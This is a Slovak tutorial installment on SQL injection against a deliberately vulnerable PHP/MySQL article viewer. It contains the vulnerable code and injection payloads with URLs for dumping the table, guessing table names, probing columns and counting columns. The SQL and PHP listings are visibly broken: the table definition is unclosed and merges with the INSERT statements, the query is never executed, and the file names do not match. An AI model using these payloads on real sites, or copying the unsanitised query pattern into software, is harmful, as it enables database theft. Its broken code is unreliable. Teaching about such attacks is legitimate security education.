
WWW hacking a obrana / 6. časť
V podstate všetky databázové servery MySQL, PostgreSQL aj MS SQL sú približne rovnako náchylné k útokom typu SQL Injection. No medzi útočníkmi jednoznačne vyhráva vďaka niekoľkým rozdielom MS SQL server. Útočník má uľahčenú prácu o to, že MS SQL server mu dovolí spúšťať multi-queries – viac príkazov oddelených ; . A nepochybne aj výpisom databázy, ktorá reaguje na chybne zadané príkazy veľmi dobre.
V predošlej časti seriálu sme upozornili na to, že celý problém SQL Injection spočíva v neošetrení '. Mali sme však na mysli konkrétne náš príklad, ktorý sme uviedli. V mnohých reálnych situáciách vôbec nejde len o jednoduchú úvodzovku, ale o každý vstup do databázy. A ako teraz uvidíte, na to, aby sme zistili, či je webová aplikácia zraniteľná voči SQL Injection, stačí zadať miesto čísla (integer) nejaký znak, napríklad b (char).
Ukážeme si konkrétnu aplikáciu, ktorá bude na spôsob systému, ktorý podľa čísla (integera) nájde v databáze konkrétny článok a pokúsi sa ho zobraziť.
Formulár zo súboru index.html:
<form action="dbc_sql.php" method="get"> <td><b>Výber kategórie (od 1-12): </b></td> <td> <input name="kategoria" type="text" size=100></td> <td><input name="akcia" type="submit" value="Zobraz"></td> </form> |
Vytvorenie databázy a tabuľky:
CREATE DATABASE clanky;
CREATE TABLE texty (nazov VARCHAR(100) NOT NULL, id INT NOT NULL INSERT INTO texty VALUES ("Nove servery v predaji", id); INSERT INTO texty VALUES ("Antivirusove systemy", id); INSERT INTO texty VALUES ("Predaj notebookov vzrastol", id); INSERT INTO texty VALUES ("Ako (jednoducho) na Windows Vista", id); INSERT INTO texty VALUES ("Programovanie v C++", id); INSERT INTO texty VALUES ("Instalovanie a odinstalovanie ovadacov na graficke karty", id); INSERT INTO texty VALUES ("Maximalna komprimacia", id); INSERT INTO texty VALUES ("Prevod suborov do MP3", id); INSERT INTO texty VALUES ("MP3 prehravace buducnosti", id); INSERT INTO texty VALUES ("Vyhladavanie informacii na webe", id); INSERT INTO texty VALUES ("Piseme desiatimi prstami", id); INSERT INTO texty VALUES ("Aktuality zo sveta IT", id); |
Naplnili sme databázu 12 článkami, ktoré majú index od 1 do 12.
Súbor db_sql.php:
<?php if($akcia=="Zobraz") { $sql_p = "SELECT * FROM texty WHERE id = ".$kategoria; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<br>Zobrazenie kategorie č. <font color=blue>".$row[1]." ".$row[0]." </font>."; |
Poznámka: V mnohých dokumentoch zaoberajúcich sa SQL Injection sa vôbec nespomína rozdiel v prípade rôznych typov zápisov kódu PHP. Je rozdiel v SQL Injection, ak programátor zapíše príkaz SQL nasledujúcimi spôsobmi.
$sql_p = "SELECT * FROM texty WHERE id = ".$kategoria;
$sql_p = "SELECT * FROM texty WHERE id = $kategoria";
$sql_p = "SELECT * FROM texty WHERE id = '$kategoria'";
Rozdiel je v tom, že pri prvých dvoch spôsoboch útočník nevkladá ' pred príkaz SQL, ale v treťom prípade musí.
My teraz použijeme prvý spôsob (tak ako vyzerá vo výpise db_sql.php), ktorý sa u programátorov vyskytuje najčastejšie.
Ak útočník chce získať výpis všetkých položiek v databáze, vloží do políčka príkaz 1 or 1=1--.
URL bude vyzerať takto:
http://localhost/dbc_sql.php?kategoria=1 or 1=1-- &akcia=Zobraz
A výsledný príkaz SQL
SELECT * FROM texty WHERE id = 1 or 1=1--zakomentovaná časť
Dôjde k vypísaniu obsahu celej databázy. Takéto útoky môžu byť nebezpečné aj z pohľadu útočníka, ktorý chce zahltiť server (útok DoS), pretože útočník poslaním 1 or 1=1-- na cieľový server prinúti prebehnúť celú databázu článkov a začať ich vypisovať. V takom prípade útočník nepotrebuje ani 1000 ovládnutých (zombie) počítačov a zvládne to aj so 100, podľa toho, koľko server vydrží. Predstavte si veľké servery, ktoré obsahujú niekoľko tisíc článkov + obrázky vo vysokom rozlíšení.
V prípade, že tabuľka v databáze obsahuje viac stĺpcov ako tá naša, s ktorou pracujeme (tá obsahuje dva stĺpce), môže obsahovať napríklad hashované heslá používateľov, hacker chce dostať aj tie a musí zistiť názov tabuľky a stĺpcov. To sa mu môže podariť nasledujúcim kódom, ktorý bude injektovať.
Zistenie názvu tabuľky:
xyz AND 1=(SELECT COUNT(*) FROM pokus_omyl_nazov_tabulky)--
spôsobí
Table 'clanky.pokus_omyl_nazov_tabulky' doesn't exist
Hacker skúša rôzne názvy tabuliek, kým neuhádne ten správny. To, že uhádol názov tabuľky, zistí tým, že databázový server nevypísal chybové hlásenie.
Adresa URL:
http://localhost/dbc_sql.php?kategoria=xyz++AND+1%3D%28SELECT+COUNT%28*%29+FROM+pokus_omyl_nazov_tabulky%29--++&akcia=Zobraz
Zistenie názvu poľa (field), column tabuľky:
Xyz
Spôsobí
Unknown column 'xyz' in 'where clause'
Takisto aj tu musí útočník dosadzovať rôzne názvy stĺpcov, kým netrafí ten správny. Ak hacker dosadí názov stĺpca id, dôjde k vypísaniu celého obsahu databázy.
Adresa URL:
http://localhost/dbc_sql.php?kategoria=id&akcia=Zobraz
Zistenie počtu stĺpcov:
Názov tabuľky musí sedieť, v tomto prípade „texty“:
1 AND(SELECT * FROM texty ) = 1--
MySQL nám poskytne chybový výpis.
Operand should contain 2 column(s)
Adresa URL:
http://localhost/dbc_sql.php?kategoria=1+AND%28SELECT+*+FROM+texty+%29+%3D+1--&akcia=Zobraz
Útočník väčšinou experimentuje. SQL Injection je jeden z najlepších príkladov na to, aby programátor, ktorí sa bezpečnosti nevenuje, pochopil, na čo sú útočníkovi dobré zdrojové kódy alebo aspoň malé fragmenty z nich. Pretože niekedy je veľmi ťažké zistiť názvy tabuliek alebo stĺpcov. Naopak, inokedy nám ich sama aplikácia vypíše alebo dokonca ich útočník uhádne na prvýkrát. Preto tabuľku s používateľmi nenazývajte „uzivatelia“, ale napríklad „registrovani_uzivatelia_of_web_application“. Pred SQL Injection to síce neochráni, ale aspoň útočník nebude mať veľkú šancu, že sa mu podarí uhádnuť názov tabuľky.
Niektoré ďalšie možné vstupy na narušenie databázy:
id AND nazov IS NOT NULL |
Možností je naozaj veľmi veľa, a preto je obrana proti SQL Injection ťažká vtedy, keď treba akceptovať aj špeciálne znaky (úvodzovky atď.).
Záver
Každopádne dobre zabezpečiť webovú aplikáciu pred všetkými známymi typmi útokov je veľmi ťažké. Vyžaduje to veľa času pri testovaní konkrétnej aplikácie a, samozrejme, aj použitie automatizovaných nástrojov. A nabudúce sa už môžete tešiť na databázy postavené na MS SQL Server.